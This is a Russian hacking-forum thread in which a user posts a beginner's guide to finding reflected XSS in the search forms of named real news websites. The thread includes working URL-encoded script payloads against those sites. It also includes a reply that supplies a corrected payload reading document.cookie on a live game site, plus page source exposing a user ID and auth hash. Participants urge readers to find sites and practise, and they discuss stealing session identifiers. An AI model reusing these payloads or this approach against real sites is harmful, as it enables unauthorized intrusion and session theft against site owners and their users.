Просмотр полной версии : Небольшой мануал по xss - уязвимостям для новичков
mr.borocco
03.07.2012, 01:00
Я не буду вам объяснять аббревиатуры xss , историю возникновения и тд и тп.
Так-как нафиг оно вам надо?
Перейду сразу к делу.
xss - уязвимость это когда мы можем сохранить в исходном html коде сайта свой код (спец-символы ">" " и нажем на поиск (На луппу в данном случае) нам выдаст эту страницу
http://www.mn.ru/search/?query=12345%3E (https://hpc.name/redirector.html#http://www.mn.ru/search/?query=12345%3E) - Заглянем в исходный код этой страницы в опере правый клик мышки, (Исходный код) нажмем (ctrl f ) Введем в строку поиска 12345 нам выдаст 2 результата.
value="12345>" и "12345>" Видите цифры сохранились в коде, "12345" А вот ковычки разбились на ">". - Значит тут нету xss. Именно в этой форме.
Перейдем на этот сайт
http://www.vmdaily.ru/ (https://hpc.name/redirector.html#http://www.vmdaily.ru/) ввдем в форму поиска 12345> нам выдаст
эту страничку http://www.vmdaily.ru/search.php?q=12345%3E& (https://hpc.name/redirector.html#http://www.vmdaily.ru/search.php?q=12345%3E&) .
Заглянем в исходный код ииии сразу в тегах мы видим
code:
"Вечерняя Москва - Поиск по 12345> // vmdaily.ru"
Обратите внимание на "12345>" Эврика кавычка прошла значит мы можем писать сюда любой код.
быстренько пишем код
\\ Закрываем тег, alert() \\ пишем скрипт ииииии Получаем ))
Бан на сайте. Так-как он у меня после этого скрипта стал не доступен)По всей видимости там автобан стоит за сомнительные запросы) Ну ладно. Поищем другой сайт.
Вот нашел нового претендента
http://www.newsmsk.com/ (https://hpc.name/redirector.html#http://www.newsmsk.com/) Пишем в форму 12345>
Получаем эту страницу http://www.newsmsk.com/search?query=12345%3E (https://hpc.name/redirector.html#http://www.newsmsk.com/search?query=12345%3E)
Смотрим исходный код. и видим заголовок в тегах
code:
NEWSmsk.com в Москве: Поиск: 12345>title
А если вот посмотрим на формы
code:
То тут у нас не проходит скобка ">" она заменятся на ">" Ну что же , это косяк разработчиков) они не профильтровали теги )
Пишем в форму поиска это \\ Закрываем тег, alert() \\ пишем скрипт
Нажимаем поиск ииии Вылетает Алерт .
http://www.newsmsk.com/search?query=...%EF%F2&x=0&y=0 (https://hpc.name/redirector.html#http://www.newsmsk.com/search?query=%3C%2Ftitle%3E+%5C%5C+%C7%E0%EA%F0%FB %E2%E0%E5%EC+%F2%E5%E3%2C+%3Cscript%3Ealert%28%29% 3C%2Fscript%3E+%5C%5C+%EF%E8%F8%E5%EC+%F1%EA%F0%E8 %EF%F2&x=0&y=0)
Значит тут есть xss - уязвимость и можно внедрять в страницу свой код, а код может быть разный.
Вот смотрим исходник страницы при рабочем алерте .
code:
NEWSmsk.com в Москве: Поиск: \\ %C7%E0%EA%F0%FB%E2%E0%E5%EC %F2%E5%E3, alert() \\ %EF%E8%F8%E5%EC %F1%EA%F0%E8%EF%F2title
Вот видите скрипт прошел. Отлично) Ищите сайты тренируйтесь.
Это и был небольшой мануал для новичков как искать xss уязвимости)
Но это только начало есть еще много подводных камней.
Ps/ Все сайты что я показывал в примере. Нашел на первой странице запроса в гугле
"Новости Москвы" Эхх вроде такие большие сайты, а вот уязвимостей полно)
mr.borocco
05.07.2012, 01:00
Вот по второму сайту xss .
http://www.newsmsk.com/search?query=...7&year_to=2012 (https://hpc.name/redirector.html#http://www.newsmsk.com/search?query=%3C%2Ftitle%3E%3E%3Cscript%3Ealert%28 %29%3C%2Fscript%3E&category=all&day_from=01&mon_from=1&year_from=2007&day_to=05&mon_to=7&year_to=2012)
Op4_renegat
05.07.2012, 01:00
Всегда было интересно, что можно добиться от пассивной XSS кроме кражи идентификатора сессии. Раньще книгу видел интересную, там автор объяснял как можно заполучить полный код админ панели, может знает кто?
mr.borocco
05.07.2012, 01:00
Можно сделать все что может javascript , так то мы размешаем код на локалке , а в часто на файлах стоят права только для локального пользователя ) так что можно обсудить) что можно сделать. Предлагайте идеи )
Op4_renegat
05.07.2012, 01:00
Не силен в js, поэтому и спрашиваю.
mr.borocco
05.07.2012, 01:00
Так то статья по xss понятно написана?
Op4_renegat
05.07.2012, 01:00
Да я и так знал, а так статья хорошая. Минимум текста, много полезного.
Everester
09.07.2012, 01:00
Хорошая статья. Давно хотел разобраться
mr.borocco
10.07.2012, 01:00
Цитата:
Сообщение от Everester
Хорошая статья. Давно хотел разобраться
Скоро напишу статью по sql injection
Автор,добавься пожалуйста greemjow90 скайп.(У меня все получилось,есть вопросы просто)
Lovehacking
11.07.2012, 01:00
Отличная статья, молодец.
Но у меня вопрос:
Когда страницу обновляешь кода нет, т.е. код не остается же.
mr.borocco
11.07.2012, 01:00
Цитата:
Сообщение от Lovehacking
Отличная статья, молодец.
Но у меня вопрос:
Когда страницу обновляешь кода нет, т.е. код не остается же.
Если в поиске стоит get запрос то есть например
site.com/?search=12345> - Тогда код останется по этой ссылке. если get нету
site.com/search.php тогда кода не будет
Понял? Если нет то покажи пример где у тебя код не сохраняется я тебе разжую все)
Lovehacking
11.07.2012, 01:00
Дай скайп или аську
Lovehacking
11.07.2012, 01:00
лучше скайп
medved1156
28.07.2012, 01:00
из данной статьи я ничегошеньки не понял...печально.
mr.borocco
06.08.2012, 01:00
Цитата:
Сообщение от medved1156
из данной статьи я ничегошеньки не понял...печально.
Что конкретно не понятно?
_Werewolf_
06.08.2012, 01:00
Неплохо написано, но зачем описывать то, что было описано уже раз 100?
Вот (https://hpc.name/showthread.php?t=13808), к примеру, очень хорошая статья. Но многие почему-то думают что там чего-то не описано и пишут своё.
Хотя ладно, это не моё дело. ТС неплохо изложил, молодец.
noizZzefan
06.08.2012, 01:00
Цитата:
Сообщение от mr.borocco
Я не буду вам объяснять аббревиатуры xss , историю возникновения и тд и тп.
Так-как нафиг оно вам надо?
Перейду сразу к делу.
xss - уязвимость это когда мы можем сохранить в исходном html коде сайта свой код (спец-символы ">" " и нажем на поиск (На луппу в данном случае) нам выдаст эту страницу
http://www.mn.ru/search/?query=12345%3E (https://hpc.name/redirector.html#http://www.mn.ru/search/?query=12345%3E) - Заглянем в исходный код этой страницы в опере правый клик мышки, (Исходный код) нажмем (ctrl f ) Введем в строку поиска 12345 нам выдаст 2 результата.
value="12345>" и "12345>" Видите цифры сохранились в коде, "12345" А вот ковычки разбились на ">". - Значит тут нету xss. Именно в этой форме.
Перейдем на этот сайт
http://www.vmdaily.ru/ (https://hpc.name/redirector.html#http://www.vmdaily.ru/) ввдем в форму поиска 12345> нам выдаст
эту страничку http://www.vmdaily.ru/search.php?q=12345%3E& (https://hpc.name/redirector.html#http://www.vmdaily.ru/search.php?q=12345%3E&) .
Заглянем в исходный код ииии сразу в тегах мы видим
code:
"Вечерняя Москва - Поиск по 12345> // vmdaily.ru"
Обратите внимание на "12345>" Эврика кавычка прошла значит мы можем писать сюда любой код.
быстренько пишем код
\\ Закрываем тег, alert() \\ пишем скрипт ииииии Получаем ))
Бан на сайте. Так-как он у меня после этого скрипта стал не доступен)По всей видимости там автобан стоит за сомнительные запросы) Ну ладно. Поищем другой сайт.
Вот нашел нового претендента
http://www.newsmsk.com/ (https://hpc.name/redirector.html#http://www.newsmsk.com/) Пишем в форму 12345>
Получаем эту страницу http://www.newsmsk.com/search?query=12345%3E (https://hpc.name/redirector.html#http://www.newsmsk.com/search?query=12345%3E)
Смотрим исходный код. и видим заголовок в тегах
code:
NEWSmsk.com в Москве: Поиск: 12345>title
А если вот посмотрим на формы
code:
То тут у нас не проходит скобка ">" она заменятся на ">" Ну что же , это косяк разработчиков) они не профильтровали теги )
Пишем в форму поиска это \\ Закрываем тег, alert() \\ пишем скрипт
Нажимаем поиск ииии Вылетает Алерт .
http://www.newsmsk.com/search?query=...%EF%F2&x=0&y=0 (https://hpc.name/redirector.html#http://www.newsmsk.com/search?query=%3C%2Ftitle%3E+%5C%5C+%C7%E0%EA%F0%FB %E2%E0%E5%EC+%F2%E5%E3%2C+%3Cscript%3Ealert%28%29% 3C%2Fscript%3E+%5C%5C+%EF%E8%F8%E5%EC+%F1%EA%F0%E8 %EF%F2&x=0&y=0)
Значит тут есть xss - уязвимость и можно внедрять в страницу свой код, а код может быть разный.
Вот смотрим исходник страницы при рабочем алерте .
code:
NEWSmsk.com в Москве: Поиск: \\ %C7%E0%EA%F0%FB%E2%E0%E5%EC %F2%E5%E3, alert() \\ %EF%E8%F8%E5%EC %F1%EA%F0%E8%EF%F2title
Вот видите скрипт прошел. Отлично) Ищите сайты тренируйтесь.
Это и был небольшой мануал для новичков как искать xss уязвимости)
Но это только начало есть еще много подводных камней.
Ps/ Все сайты что я показывал в примере. Нашел на первой странице запроса в гугле
"Новости Москвы" Эхх вроде такие большие сайты, а вот уязвимостей полно)
Спасибо,очень помогла статья.
mr.borocco
06.08.2012, 01:00
Цитата:
Сообщение от _Werewolf_
Неплохо написано, но зачем описывать то, что было описано уже раз 100?
Вот (https://hpc.name/showthread.php?t=13808), к примеру, очень хорошая статья. Но многие почему-то думают что там чего-то не описано и пишут своё.
Хотя ладно, это не моё дело. ТС неплохо изложил, молодец.
Там теория одна, практики нету совсем.
Вот я считаю что лучшее обучение это когда есть реальные примеры.
на реальных сайтах. Тогда люди видят что это реально работает и быстрее понимают)
_Werewolf_
06.08.2012, 01:00
Цитата:
Сообщение от mr.borocco
Там теория одна, практики нету совсем.
Вот я считаю что лучшее обучение это когда есть реальные примеры.
на реальных сайтах. Тогда люди видят что это реально работает и быстрее понимают)
Да, там есть такое упущение. Правда и инфы раз в 10 больше. Тут мало примеров, поэтому я где-то видел тему, куда люди выкладывают XSS. Может ссылка на эту тему поможет поднять... "крутость" темы?
mr.borocco
10.03.2013, 01:00
Цитата:
Сообщение от _Werewolf_
Правда и инфы раз в 10 больше.
Той инфы) которая не нужна для новичков , даже на оборот вводит в заблуждение и страх перед началом обучения
medsestra123
12.03.2013, 01:00
А у меня вот такая проблема,вписываю: http://nebogame.com/?state=game&ref_id=alert(document.cookie) ну а мне выдаёт:
Спойлер
uids:uids}, function(data){ var o = jQuery.parseJSON( data ); if(o.error_code){ alert("get_user_info: "+o.error_code); }else{ $("#userName").text(o[0].nick); } }); } function exitBtnVisible(value){ $('#exitBtn').css('visibility',(value ? 'visible': 'hidden')); } function openPage(url){ if(getBrowserName() == "msie"){ window.open(url); } } function exec(s){ if(getBrowserName() == "msie"){ eval(s); } } getGameNick("2460817"); function checkOnExit(){ if(flashvars.platform_type==111 && flashvars.email_activated == 'false') { if (confirm('Не подтвердив свой email или не прикрепив аккаунт к соцсети, Вы не сможете вернуться на профиль своего персонажа.')) { logOut(); return true; } else { return false; } } logOut(); return true; /* if(flashvars.platform_type==111 && flashvars.email_activated == 'false') { $.blockUI({ message: $('#confirm_exit_win'), css:{ border:null, backgroundColor:null, top:'30%', left:($(window).width() - $('#confirm_exit_win').width())/2 + 'px'} }); $('#confirm_exit_win').show(); return false; } else { logOut(); return true; } */ }
_2460817"; var showTutorial = 1; var isReged = false; $(document).ready(function() { ktApi = (KT_API_KEY.length ? new KontagentApi(KT_API_KEY) : null); switchGameBg(false); startTrackVisible(visibilityChangedHandler); loadSWF(apps[0]); }); function getInviteURL(){ var url=share_url+"?ref="+ref; return url; } function inviteFriends(){ var url = getInviteURL(); var o = {title:"Стань Хранителем Небес!",description:"Друзья! Мне нужна ваша помощь в Небесах! Вступайте в мою армию!",image:staticURL+"site/files/images/logo_100x100_vkontakte_02.jpg",url:url,ref:ref}; share(o); } //window visibility function startTrackVisible(handler){ if (MozVisibility.canBeEmulated()){ document.addEventListener("mozvisibilitychange", function () { handler(document.mozVisibilityState == 'visible'); }, false); }else if (Visibility.isSupported()){ Visibility.change(function (e, state) { handler(state == 'visible'); }); } } function visibilityChangedHandler(state){ var f = swfobject.getObjectById('flash-app'); if(f){f.visibleState(state);} } // Cross-browser implementation of element.addEventListener() function listen(evnt, elem, func) { if (elem.addEventListener){ // W3C DOM elem.addEventListener(evnt,func,false); }else if (elem.attachEvent) { // IE DOM var r = elem.attachEvent("on"+evnt, func); return r; } else {window.alert('I\'m sorry, I\'m afraid I can\'t do that.'); } } // Use: listen("event name", elem, func); function makeBugWindow(defaultTicketId){ var screenStr = swfobject.getObjectById("flash-app").getScreenShot(); var logDump = swfobject.getObjectById("flash-app").getLog(); var wW = 634; var wH = (getBrowserName() == "chrome" ? 630: 575); var w = createPopUpWindow("bug_mailer.php"+(defaultTicketId ? "?tid="+defaultTicketId : ''), "sendBugWindow", wW, wH); //w.moveBy((document.body.clientWidth - wW) >> 1, (document.body.clientHeight - wH) >>1); if(getBrowserName()!="opera"){ listen("load",w, function(){w.setData(screenStr, logDump);}); }else{ //opera sucks var windowPingCount=0; var maxWindowPing=50; var iid = setInterval(function(){ windowPingCount++; if(windowPingCount>maxWindowPing){clearInterval(iid)} if(w.setData){clearInterval(iid);w.setData(screenS tr, logDump);}},700); } } //********************************************* var appId='game'; var apps = ['http://s1.nebogame.com/files//bin/loaders/standaloneLoader.swf?v=5']; var playerVersion='11.1.0'; function objectToURLVars(params){ function addVar(r, name, value){ if(r.indexOf("=")==-1){ r+=""+name+"="+ value; }else{ r+="&"+name+"="+ value; } return r; } var r = ''; if(!params){return r;} for(var key in params){ r = addVar(r,key, params[key]); } return r; } //fv var flashvars = { skyLocale:"ru_RU", uid:"2460817", platform_type:"111", post_platform_type:"100", auth_hash:"65ca4d3d27cad28dbbe6065d7e3c3e5d", config_url:"http://s$i.nebogame.com/files/configs/sa.xml", api_url:"http://nebogame.com/", refererId:"", refererType:"", ref_link:"http://nebogame.com/?ref='>">_2460817", group_url:"http://vkontakte.ru/club19377311", tnm_gladiators_url:" http://vk.com/page-19377311_44069273", tnm_adepts_url:" http://vk.com/page-19377311_44069272", error_code:"0", bankPayPageURL:"http://bank.nebogame.com/pay/", bank_api:"bank.php", logkeys:"getlog", email:"", email_activated:"false", tutorial:showTutorial, oauthPlatforms:encodeURIComponent("{\"2\":true,\"1\":true,\"4\":true,\"3\":true}"), staticIndex:"1", userInfoForExport:encodeURIComponent(""), specialImageTicketId:7, marketingParams:encodeURIComponent("\"tuid\"=>\"de2e02d538bd5945\",\"ref\"=>\"\",\"target\"=>\"nebogame.com/?state=game&ref_id=\\\'%3E%3C\\\'\\\'%3E%22%3E%3Cscript%3Ealer t(%22cookie:%20%22+document.cookie)%3C/script%3E\",\"ip\"=>\"64.62.201.15\"") }; function loadSWF(url){ var htmlWrap='
Небеса: уникальная игра!
Для игры необходимо установить Flash Player"
'; var atr={ data:url, width:APP_W, height:APP_H, id:"flash-app", menu: "false", scale: "default", allowFullscreen: "true", allowScriptAccess: "always", bgcolor: "#FEF1B2", wmode:"window" }; var params = { allowScriptAccess: "always", bgcolor: "#FEF1B2", wmode:"window", menu: "false", id:"flash-app", flashvars:objectToURLVars(flashvars) }; if(swfobject.hasFlashPlayerVersion(playerVersion)) { var loadHandler = function (){ var c = document.getElementById(appId); if(!c){ document.getElementById("container").innerHTML = htmlWrap; } swfobject.createSWF(atr, params, appId); minimizeGame(); } }else{ loadHandler = function() { document.getElementById("container").innerHTML = htmlWrap; atr = { data:"http://s1.nebogame.com/files/expressInstall.swf", width:APP_W, height:APP_H }; swfobject.showExpressInstall(atr, {}, appId, function (){alert("express install is canceled!!!")}); } } swfobject.addDomLoadEvent(loadHandler); } function minimizeGame() { if (swfobject.ua.ie) { return;} var app = document.getElementById('appDiv'); app.style.visibility = 'hidden'; } function showGame() { if (swfobject.ua.ie) { return;} var app = document.getElementById('appDiv'); app.style.visibility = 'visible'; } function unloadSWF(id){ swfobject.removeSWF(id); } function getNextApp(){ unloadSWF(appId); loadSWF(apps.shift()); } function loadShareScript(pType){ if(window.share){ window.share = null; } var sURL="http://s1.nebogame.com/files/site/files/common/js/share/share_"+pType+".js?v=5"; $.getScript(sURL, function (data, textStatus, jqxhr){ if(textStatus == "success"){ getAPP().shareScriptLoaded(); }else{ alert("Error - shareScript Not Loaded url: " + sURL); } }); }
Это что такое и как это понять???
Некоторые говорят что нашла уязвимость!?
Помогите пожалуйста раскачать...
Я новенькая здесь прошу не ругаться и сильно не критиковать (если что пишите в личку).
mr.borocco
13.03.2013, 01:00
На держи правильную ссылку.
source:
http:
//n
ebogame.com/?
state
=game&ref_id=
12345
%
3
E%
3
C%3C/script%3E12345%
3
C%
3
C%
3
C%
3
E%
3
E%
3
E%
3
Cscript%3Ealert(document.cookie)%3C/script%3E
Отличная статья, жду продолжения
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot